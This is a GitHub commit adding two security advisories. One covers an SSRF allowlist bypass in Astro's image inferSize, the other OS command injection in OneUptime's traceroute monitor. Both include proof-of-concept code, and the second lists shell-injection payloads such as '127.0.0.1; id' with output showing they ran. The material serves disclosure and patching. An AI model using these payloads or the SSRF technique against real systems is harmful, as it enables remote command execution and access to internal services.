Skip to content

Commit 831cee4

Browse files
1 parent ea94dac commit 831cee4

2 files changed

Lines changed: 122 additions & 0 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-cj9f-h6r6-4cx2",
4+
"modified": "2026-02-25T18:11:47Z",
5+
"published": "2026-02-25T18:11:47Z",
6+
"aliases": [
7+
"CVE-2026-27829"
8+
],
9+
"summary": "Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize",
10+
"details": "## Summary\n\nA bug in Astro's image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts.\n\n## Details\n\nAstro provides an `inferSize` option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the `image.domains` or `image.remotePatterns` options).\n\nHowever, when `inferSize` is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.\n\n## PoC\n\n<details>\n\n### Setup\n\nCreate a new Astro project with the following files:\n\n`package.json`:\n```json\n{\n \"name\": \"poc-ssrf-infersize\",\n \"private\": true,\n \"scripts\": {\n \"dev\": \"astro dev --port 4322\",\n \"build\": \"astro build\"\n },\n \"dependencies\": {\n \"astro\": \"5.17.2\",\n \"@astrojs/node\": \"9.5.3\"\n }\n}\n```\n\n`astro.config.mjs` — only `localhost:9000` is authorized:\n```javascript\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n output: 'server',\n adapter: node({ mode: 'standalone' }),\n image: {\n remotePatterns: [\n { hostname: 'localhost', port: '9000' }\n ]\n }\n});\n```\n\n`internal-service.mjs` — simulates an internal service on a non-allowlisted host (`127.0.0.1:8888`):\n```javascript\nimport { createServer } from 'node:http';\nconst GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');\ncreateServer((req, res) => {\n console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);\n res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });\n res.end(GIF);\n}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));\n```\n\n`src/pages/test.astro`:\n```astro\n---\nimport { getImage } from 'astro:assets';\n\nconst result = await getImage({\n src: 'http://127.0.0.1:8888/internal-api',\n inferSize: true,\n alt: 'test'\n});\n---\n<html><body>\n <p>Width: {result.options.width}, Height: {result.options.height}</p>\n</body></html>\n```\n\n### Steps to reproduce\n\n1. Run `npm install` and start the internal service:\n\n```bash\nnode internal-service.mjs\n```\n\n2. Start the dev server:\n\n```bash\nnpm run dev\n```\n\n3. Request the page:\n\n```bash\ncurl http://localhost:4322/test\n```\n\n4. `internal-service.mjs` logs `Received: GET /internal-api` — the request was sent to `127.0.0.1:8888` despite only `localhost:9000` being in the allowlist.\n\n</details>\n\n## Impact\n\nAllows bypassing `image.domains` / `image.remotePatterns` restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@astrojs/node"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "9.0.0"
29+
},
30+
{
31+
"fixed": "9.5.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/withastro/astro/security/advisories/GHSA-cj9f-h6r6-4cx2"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/withastro/astro"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-918"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-02-25T18:11:47Z",
59+
"nvd_published_at": null
60+
}
61+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jmhp-5558-qxh5",
4+
"modified": "2026-02-25T18:09:47Z",
5+
"published": "2026-02-25T18:09:47Z",
6+
"aliases": [
7+
"CVE-2026-27728"
8+
],
9+
"summary": "OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()",
10+
"details": "## Summary\n\nAn OS command injection vulnerability in `NetworkPathMonitor.performTraceroute()` allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.\n\n## Details\n\nThe vulnerability exists in [`Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts`](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191.\n\nThe `performTraceroute()` method constructs a shell command by directly interpolating the user-controlled `destination` parameter into a string template, then executes it via `child_process.exec()` (wrapped through `promisify`):\n\n```typescript\n// Line 13 — exec imported from child_process\nimport { exec } from \"child_process\";\n\n// Line 15-17 — promisified into execAsync\nconst execAsync = promisify(exec);\n\n// Lines 149-191 — destination is never sanitized\nprivate static async performTraceroute(\n destination: string, // ← attacker-controlled\n maxHops: number,\n timeout: number,\n): Promise<TraceRoute> {\n // ...\n let command: string;\n if (isWindows) {\n command = `tracert -h ${maxHops} -w ${...} ${destination}`;\n } else if (isMac) {\n command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n } else {\n command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n }\n\n const tracePromise = execAsync(command); // ← shell execution\n```\n\nThe `destination` value originates from the public `trace()` method (line 31), which accepts `URL | Hostname | IPv4 | IPv6 | string` types. When a raw `string` is passed (line 47: `hostAddress = destination`), no validation or sanitization is performed before it reaches `performTraceroute()`.\n\n`child_process.exec()` spawns a shell (`/bin/sh`), so any shell metacharacters (`;`, `|`, `$()`, `` ` ` ``, `&&`, `||`, `\\n`) in `destination` will be interpreted, allowing full command injection.\n\n## PoC\n\n\n1. poc.cjs\n```javascript\n/**\n * PoC: OS Command Injection in OneUptime NetworkPathMonitor\n *\n * Replicates the exact vulnerable code path from\n * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191\n */\n\nconst { exec } = require(\"child_process\");\nconst { promisify } = require(\"util\");\nconst execAsync = promisify(exec);\n\nasync function performTraceroute_VULNERABLE(destination, maxHops, timeout) {\n const isMac = process.platform === \"darwin\";\n const isWindows = process.platform === \"win32\";\n\n let command;\n if (isWindows) {\n command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;\n } else if (isMac) {\n command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n } else {\n command = `traceroute -m ${maxHops} -w 3 ${destination}`;\n }\n\n console.log(`[VULN] Constructed command: ${command}`);\n\n try {\n const { stdout, stderr } = await execAsync(command);\n return { stdout, stderr };\n } catch (err) {\n return { stdout: err.stdout || \"\", stderr: err.stderr || err.message };\n }\n}\n\nasync function runPoC() {\n console.log(\"=== Payload 1: Semicolon chaining (;) ===\");\n console.log(\" destination = '127.0.0.1; id'\\n\");\n const r1 = await performTraceroute_VULNERABLE(\"127.0.0.1; id\", 1, 5000);\n console.log(\"[stdout]:\", r1.stdout);\n\n console.log(\"\\n=== Payload 2: Pipe injection (|) ===\");\n console.log(\" destination = '127.0.0.1 | whoami'\\n\");\n const r2 = await performTraceroute_VULNERABLE(\"127.0.0.1 | whoami\", 1, 5000);\n console.log(\"[stdout]:\", r2.stdout);\n\n console.log(\"\\n=== Payload 3: Subshell execution $() ===\");\n console.log(\" destination = '127.0.0.1$(echo INJECTED)'\\n\");\n const r3 = await performTraceroute_VULNERABLE(\"127.0.0.1$(echo INJECTED)\", 1, 5000);\n console.log(\"[stderr]:\", r3.stderr);\n}\n\nrunPoC().catch(console.error);\n```\n\n2. Run the PoC:\n\n```bash\nnode poc.cjs\n```\n\n3. **Expected output** (confirmed on macOS with Node.js v25.2.1):\n\n```\n=== Payload 1: Semicolon chaining (;) ===\n destination = '127.0.0.1; id'\n\n[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id\n[stdout]: 1 localhost (127.0.0.1) 0.215 ms 0.076 ms 0.055 ms\nuid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)...\n\n=== Payload 2: Pipe injection (|) ===\n destination = '127.0.0.1 | whoami'\n\n[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami\n[stdout]: dxleryt\n\n=== Payload 3: Subshell execution $() ===\n destination = '127.0.0.1$(echo INJECTED)'\n\n[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED)\n[stderr]: traceroute: unknown host 127.0.0.1INJECTED\n```\n\nThe `id` and `whoami` commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — `$(echo INJECTED)` is evaluated and appended to the hostname.\n\n## Impact\n\n**Vulnerability type:** OS Command Injection (CWE-78)\n\n**Who is impacted:** Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to:\n\n- **Execute arbitrary commands** as the Probe service user (Remote Code Execution)\n- **Read sensitive files** from the Probe server (e.g., environment variables, credentials, service account tokens)\n- **Pivot to internal services** accessible from the Probe's network position\n- **Compromise other tenants' monitoring data** if Probes are shared across tenants\n- **Establish persistent backdoors** (reverse shells, cron jobs, SSH keys)\n\n> **Note:** The `NetworkPathMonitor` class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@oneuptime/common"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "10.0.7"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-jmhp-5558-qxh5"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/OneUptime/oneuptime/commit/f2cce35a04fac756cecc7a4c55e23758b99288c1"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/OneUptime/oneuptime"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-78"
55+
],
56+
"severity": "CRITICAL",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-02-25T18:09:47Z",
59+
"nvd_published_at": null
60+
}
61+
}

0 commit comments

Comments
 (0)